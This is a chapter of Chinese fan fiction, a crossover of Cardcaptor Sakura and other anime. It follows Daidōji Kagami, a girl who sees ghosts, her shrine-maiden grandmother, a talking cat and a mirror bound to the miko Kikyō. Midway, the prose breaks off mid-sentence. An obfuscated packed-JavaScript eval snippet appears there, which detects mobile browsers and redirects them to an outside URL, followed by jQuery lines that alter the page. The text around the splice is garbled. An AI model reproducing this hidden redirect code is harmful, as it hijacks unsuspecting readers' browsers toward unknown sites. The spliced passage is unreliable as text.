大道寺镜从记事起就看得见鬼魂。
但她从没跟任何人说过。
三岁那年，她指着院子里的晾衣架告诉妈妈“有个穿白衣服的姐姐在哭”。妈妈面不改色地把她抱起来，说那是晾着的床单。
镜那时候还不太会说话，但她已经足够聪明到看懂了妈妈的表情。妈妈没有在看晾衣架。妈妈在看院子里的某个方向——那个方向什么都没有，但她看了很久。
后来镜才知道，妈妈看不见。但妈妈知道她能看见。
因为妈妈的娘家在熊本县八原的山林里，那里有一座老神社，住着一位所有人都敬而远之的老妇人——镜的外婆，安倍信子。
安倍晴明的直系末裔。八原神社最后的神女。
五岁那年，镜指着山门说“那个独眼的大个子为什么一直瞪着我”。外婆看了一眼那个方向，语气平淡地说：“别盯回去就行。”
那时候镜还不知道什么叫“的场家的式神”，也不知道那个独眼大个子是某个除妖师家族遗失在外的咒具。外婆没解释，她也习惯了不追问。在外婆家，不该问的事比该问的事多得多。
七岁那年夏天，外婆带她去神社后院。
八原的夏天闷热潮湿，蝉鸣从早响到晚。镜穿着木屐走在石板路上，外婆走在她前面，步子很慢，腰背却挺得很直。后院有一棵老樟树，树荫底下有一座石灯笼，长满了青苔。鸟居的红漆已经剥落了大半，露出底下灰色的木纹。
一只黑猫蹲在鸟居下面。
它歪着头，用金色的瞳孔打量她。然后开口说话了。
“你就是这一代的小巫女？长得真慢。”
镜沉默了三秒。然后转过身，对着本殿的方向喊：“外婆——猫说话了——”
本殿里传来安倍信子不紧不慢的声音：“让它说。”
黑猫甩了一下尾巴，从鸟居下走出来，绕着镜转了一圈，像是在检查什么。它的毛色纯黑，在树荫下几乎和影子融为一体，只有那双金色的眼睛在发亮。
“你就这点胆子？你外婆当年第一次见到我娘的时候，说的是‘这猫会说话，能不能留下来干活’。”
镜认真地想了一下，蹲下来平视它。七岁的小孩和一只有她半条手臂长的黑猫，在夏日的树荫里互相审视。
“你是来干活的？”
“我是来看着你的。”黑猫蹲坐下来，尾巴绕过来盖住前爪，姿态端正得像神社门口的狛犬，“神说的。”
“哪个神？”
黑猫抬起前爪，指了指本殿的方向。格子门紧闭，里面没有任何动静。
“我叫胧。”它说，“Oburo。没有姓，不归任何人管。只是暂时被派来看住你。”
镜想了想，说：“胧——是朦胧的胧？”
黑猫的耳朵动了动，似乎对这个回答还算满意：“你认识字？”
“认识一点。外婆教的。”
“那就省事了。”胧站起来，往本殿的方向走了几步，然后回过头看她，“你外婆还教了你什么？”
镜想了想：“结界、送灵、分辨妖怪和幽灵。”
“还有呢？”
“她说我三岁的时候无意识地召唤了一只猫又。”镜顿了顿，“但我不是故意的。”
胧没有接话。它只是转回头，继续往前走。镜跟在它身后，两个人——不对，一个人和一只猫——一前一后穿过神社的后院。蝉鸣在头顶上炸响，太阳把石板路晒得发烫。
走到本殿侧门时，胧忽然停下来，抬起头看她。
“你怕不怕？”
镜低头看着它：“怕什么？”
“怕你以后要管的事越来越多。”胧说，“你外婆是这一带最强的神女。你比她更纯。”
七岁的镜没有回答这个问题。
因为她还不懂“比外婆更纯”意味着什么。
那天晚饭的时候，胧已经盘在镜脚边，吃掉了她分给它的半条烤鱼。外婆看了一眼，什么都没说。
等镜把碗筷收拾好回来，外婆正坐在走廊上，手里端着一杯茶。月光把院子里的砂石地照成灰白色，老樟树的影子铺了大半个院子。
“这猫从你出生那天就在等了。”外婆说。
镜在她身边坐下：“等我的灵力？”
“等你的名字。”安倍信子把茶杯搁在膝上，侧过头看着外孙女，“神社的镜子在你出生那天映出了一道光。神主说，这个孩子和镜子有缘。后来你妈妈给你起名叫镜——Kagami，写镜子的镜——是你自己选的。”
镜低头看了看自己脖子上挂着的护身符。
那是外婆在她三岁时给她的——一面小小的圆镜，平时贴在胸口，冰冰凉凉的，和普通的饰品没什么区别。镜面是灰白色的，照不出任何东西。她问过外婆这是什么材质做的，外婆只说“不是玉，不是琉璃，不是你可以猜到的任何东西”。
外婆还说过一句话：“这面镜子，是一个很久以前的巫女留给你的。她叫桔梗。”
镜问：“她为什么留给我？”
外婆沉默了一会儿，月光把她满是皱纹的脸映得很柔和。然后她说：“因为她觉得，未来的某一天，会有一个和她一样的人需要它。”
那是另一个故事了。后来的镜还需要很多年才能完全理解这句话的含义。
但三岁的镜并不需要理解。她只需要照做——这面镜子不能被别人看见，要一直贴身带着。她从三岁起就一直带着，洗澡也不摘。
外婆说，这叫“魂缘之镜”。
镜不知道自己是不是真的明白这个词的意思。但她每次把镜子贴在胸口时，都能感觉到一种微弱的、不属于自己的温度。像有另一个人隔着很远的距离，在安静地呼吸。
她从来没有和任何人说过这种感觉。连外婆也没有。
上小学那年，老师在花名册上念到她的名字。
“大道寺镜——大道寺？是那个大道寺吗？”
后排有人小声嘀咕。镜站起来，走到黑板前，拿起粉笔，一笔一画写下自己的全名。然后转身，平平淡淡地开口。
“读作Daidōji Kagami。だいどうじ かがみ。没有别的念法，也不用拆开念。就这样。”
老师低头在花名册上写了几笔。镜回到座位上，同桌的女生转过头来小声说：“你名字好特别啊，镜——就是镜子吗？好有意思。”
镜点了点头。
她不知道这个女生叫什么。但她后来知道了——她叫木之本樱，住在隔壁那条街，爸爸是大学教授，哥哥在读高中，家里地下室里还藏着一本会发光的书。
不过这都是后话。
刚上小学那会儿，镜的生活还很平静。每天和堂姐知世一起上下学，偶尔和附近的孩子们一起在公园里玩。知世的妈妈会烤很好吃的蛋糕，每次镜去她们家，都会单独给她多切一块。桃矢有时候来接小樱，会在公园门口站一会儿，确认三个女孩都在视线范围内再走。
镜在友枝町的生活，和她认识的任何一个同龄女孩都没有区别。
她上课听讲，下课写作业，考试考中上。老师对她的评价是“安静、认真、不太爱说话”。同学们觉得她有点冷淡，但也不难相处。如果有人主动找她借橡皮，她会借。如果有人在她面前摔倒，她会伸手拉一把。
她只是不太主动交朋友。
因为她有自己的秘密。
她能在走廊尽头看见低年级教室门口蹲着的、不属于这个学校的小男孩幽灵。能在图书馆最里面那排书架之间看见一个反复找同一本书的老人。能在音乐教室没人的时候听见一架没人弹的钢琴在响。
后来她才知道，那架钢琴是她入学前一年，一个六年级女生最后一次弹过的。那个女生毕业那天出了车祸，没有再来过学校。但她弹的那首曲子——巴赫的《G小调小步舞曲》——一直留在那个教室里，反复地、安静地响
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536076|203812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着。
镜第一次听见的时候，站在音乐教室门口听完整首才走。
她没有告诉任何人。
因为外婆说过：你如果不想管，可以不管。
但她没有说后半句。后半句是镜自己后来慢慢领悟的——如果你不管，那些声音会一直等你。
后来有一次，半夜做完作业躺下睡觉，镜把魂缘之镜贴在胸口，闭上眼睛。
然后在心里问了一句：桔梗大人，你在吗？
她等了很久。
镜子没有动静。
但第二天早上醒来时，她发现镜子是温的。
她就这么磕磕绊绊地长到了小学四年级。能分清什么是妖怪什么是幽灵了，能认出哪些缘线是活着的人之间的羁绊、哪些是逝者还没放下的执念了。能在外婆不在身边的时候自己处理一些小事——安抚一只受惊的小地缚灵，帮一个迷路的游魂找到回家的方向，在月圆之夜把不小心穿过神社结界的小妖怪送回山里去。
也会在放学路上忽然停下来，盯着一棵老银杏树看很久。知世会在旁边安静地等，等镜回过神来再继续往前走，从不追问。
镜觉得这样挺好的。
她可以在东京做一个普通的小孩，把所有不该看见的东西收进胸口的小镜子里。到了寒暑假再回八原放掉。外婆给她蒸一碗鸡蛋羹，胧盘在她脚边吃掉半条烤鱼，山里的风把神社的铃铛吹响。什么都不用解释，什么都不用隐藏。
在八原的暑假里，她是安倍信子的外孙女，是神社的下一个继承人，是一个天生就能看见彼岸的小巫女。
在友枝町的日常里，她是大道寺镜，是一年级到四年级都没惹过麻烦的普通小学生，是知世安静的同伴，是小樱偶尔借她橡皮的人。
镜觉得这个双重身份她管理得很好。她曾经以为这个节奏可以一直维持下去。
直到四年级那年的某天放学后。
四月末，院子里的杜鹃花开得正盛。镜在自己房间里做作业，胧趴在窗台上，尾巴有一搭没一搭地扫着窗玻璃。暮色还没完全落下来，天空是淡紫色的。
然后胧忽然抬起了头。
镜也感觉到了。她放下笔，走到窗边。
不是什么爆炸。不是巨响。而是一种更深层的震颤——整个友枝町的灵脉像是被一块石头砸进水里，一圈一圈的波纹正从木之本家的方向往外扩散。缘线在抖动。地脉在抖动。所有安静的、已安息的、正在沉睡的灵体都被惊动了。
镜在胸口感觉到了魂缘之镜的震颤。不是恐惧，是回应。
“库洛牌。”
一个声音说。温和的、清澈的，从镜的胸口传来，像在书房里翻开一页旧书。
镜愣了一下：“桔梗大人？”
“古老的魔法卡牌。我曾经感应过类似的波动。魔力极强，但没有善恶。”桔梗的声音停了一下，“那个释放它们的孩子，大概也不知道自己在做什么。”
镜站在窗前，看着木之本家的方向。小樱的房间亮着灯，窗帘是粉色的。
胧甩了甩尾巴，从窗台上跳下来，落在镜脚边。
“你打算管？”
镜沉默了很久。
风从窗户缝里灌进来，带着杜鹃花的味道。远方的灵脉还在轻轻震颤，像是有人在看不见的地方敲了一下巨大的钟。
“不想管。”她说。
“但你得管。”胧说，“因为整个町的灵都在害怕。你不去安抚，会有东西被吓出来。”
镜没有说话。她只是把窗帘拉上，转身走回了书桌前。
“明天再说。”
胧发出一声疑似嘲讽的鼻息。
但镜知道，她骗不了任何人。骗不了胧，骗不了外婆，骗不了胸口的魂缘之镜。也骗不了那个叫桔梗的巫女，从五百年前的战国时代就开始看着她。
她只是想做普通人。
——这个愿望，从明天开始，大概就不会实现了。